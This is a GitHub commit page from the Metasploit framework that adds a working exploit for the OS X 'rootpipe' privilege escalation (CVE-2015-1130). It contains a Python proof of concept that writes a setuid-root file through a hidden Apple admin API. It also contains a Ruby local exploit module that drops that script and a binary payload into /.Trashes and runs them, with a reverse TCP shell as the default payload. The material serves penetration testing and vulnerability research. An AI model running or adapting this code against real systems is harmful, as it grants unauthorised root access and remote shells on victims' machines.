Skip to content

Commit 3313dac

Browse files
committed
Land rapid7#5119, @wvu's addition of the OSX rootpipe privesc exploit.
orts borts
2 parents 4419c1c + fc814a1 commit 3313dac

File tree

2 files changed

+187
-0
lines changed

2 files changed

+187
-0
lines changed
Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
########################################################
2+
#
3+
# PoC exploit code for rootpipe (CVE-2015-1130)
4+
#
5+
# Created by Emil Kvarnhammar, TrueSec
6+
#
7+
# Tested on OS X 10.7.5, 10.8.2, 10.9.5 and 10.10.2
8+
#
9+
########################################################
10+
import os
11+
import sys
12+
import platform
13+
import re
14+
import ctypes
15+
import objc
16+
import sys
17+
from Cocoa import NSData, NSMutableDictionary, NSFilePosixPermissions
18+
from Foundation import NSAutoreleasePool
19+
20+
def load_lib(append_path):
21+
return ctypes.cdll.LoadLibrary("/System/Library/PrivateFrameworks/" + append_path);
22+
23+
def use_old_api():
24+
return re.match("^(10.7|10.8)(.\d)?$", platform.mac_ver()[0])
25+
26+
27+
args = sys.argv
28+
29+
if len(args) != 3:
30+
print "usage: exploit.py source_binary dest_binary_as_root"
31+
sys.exit(-1)
32+
33+
source_binary = args[1]
34+
dest_binary = os.path.realpath(args[2])
35+
36+
if not os.path.exists(source_binary):
37+
raise Exception("file does not exist!")
38+
39+
pool = NSAutoreleasePool.alloc().init()
40+
41+
attr = NSMutableDictionary.alloc().init()
42+
attr.setValue_forKey_(04777, NSFilePosixPermissions)
43+
data = NSData.alloc().initWithContentsOfFile_(source_binary)
44+
45+
print "will write file", dest_binary
46+
47+
if use_old_api():
48+
adm_lib = load_lib("/Admin.framework/Admin")
49+
Authenticator = objc.lookUpClass("Authenticator")
50+
ToolLiaison = objc.lookUpClass("ToolLiaison")
51+
SFAuthorization = objc.lookUpClass("SFAuthorization")
52+
53+
authent = Authenticator.sharedAuthenticator()
54+
authref = SFAuthorization.authorization()
55+
56+
# authref with value nil is not accepted on OS X <= 10.8
57+
authent.authenticateUsingAuthorizationSync_(authref)
58+
st = ToolLiaison.sharedToolLiaison()
59+
tool = st.tool()
60+
tool.createFileWithContents_path_attributes_(data, dest_binary, attr)
61+
else:
62+
adm_lib = load_lib("/SystemAdministration.framework/SystemAdministration")
63+
WriteConfigClient = objc.lookUpClass("WriteConfigClient")
64+
client = WriteConfigClient.sharedClient()
65+
client.authenticateUsingAuthorizationSync_(None)
66+
tool = client.remoteProxy()
67+
68+
tool.createFileWithContents_path_attributes_(data, dest_binary, attr, 0)
69+
70+
71+
print "Done!"
72+
73+
del pool
Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit4 < Msf::Exploit::Local
9+
10+
Rank = GreatRanking
11+
12+
include Msf::Post::OSX::System
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info = {})
17+
super(update_info(info,
18+
'Name' => 'Mac OS X "Rootpipe" Privilege Escalation',
19+
'Description' => %q{
20+
This module exploits a hidden backdoor API in Apple's Admin framework on
21+
Mac OS X to escalate privileges to root. Dubbed "Rootpipe."
22+
23+
Tested on Yosemite 10.10.2 and should work on previous versions.
24+
25+
The patch for this issue was not backported to older releases.
26+
27+
Note: you must run this exploit as an admin user to escalate to root.
28+
},
29+
'Author' => [
30+
'Emil Kvarnhammar', # Vulnerability discovery and PoC
31+
'joev', # Copy/paste monkey
32+
'wvu' # Meta copy/paste monkey
33+
],
34+
'References' => [
35+
['CVE', '2015-1130'],
36+
['OSVDB', '114114'],
37+
['EDB', '36692'],
38+
['URL', 'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
39+
],
40+
'DisclosureDate' => 'Apr 9 2015',
41+
'License' => MSF_LICENSE,
42+
'Platform' => 'osx',
43+
'Arch' => ARCH_X86_64,
44+
'SessionTypes' => ['shell'],
45+
'Targets' => [
46+
['Mac OS X 10.9-10.10.2', {}]
47+
],
48+
'DefaultTarget' => 0,
49+
'DefaultOptions' => {
50+
'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
51+
'CMD' => '/bin/zsh'
52+
}
53+
))
54+
55+
register_options([
56+
OptString.new('PYTHON', [true, 'Python executable', '/usr/bin/python']),
57+
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
58+
])
59+
end
60+
61+
def check
62+
(ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
63+
end
64+
65+
def exploit
66+
print_status("Writing exploit to `#{exploit_file}'")
67+
write_file(exploit_file, python_exploit)
68+
register_file_for_cleanup(exploit_file)
69+
70+
print_status("Writing payload to `#{payload_file}'")
71+
write_file(payload_file, binary_payload)
72+
register_file_for_cleanup(payload_file)
73+
74+
print_status('Executing exploit...')
75+
cmd_exec(sploit)
76+
print_status('Executing payload...')
77+
cmd_exec(payload_file)
78+
end
79+
80+
def ver?
81+
Gem::Version.new(get_sysinfo['ProductVersion']).between?(
82+
Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
83+
)
84+
end
85+
86+
def admin?
87+
cmd_exec('groups | grep -wq admin && echo true') == 'true'
88+
end
89+
90+
def sploit
91+
"#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
92+
end
93+
94+
def python_exploit
95+
File.read(File.join(
96+
Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
97+
))
98+
end
99+
100+
def binary_payload
101+
Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
102+
end
103+
104+
def exploit_file
105+
@exploit_file ||=
106+
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
107+
end
108+
109+
def payload_file
110+
@payload_file ||=
111+
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
112+
end
113+
114+
end

0 commit comments

Comments
 (0)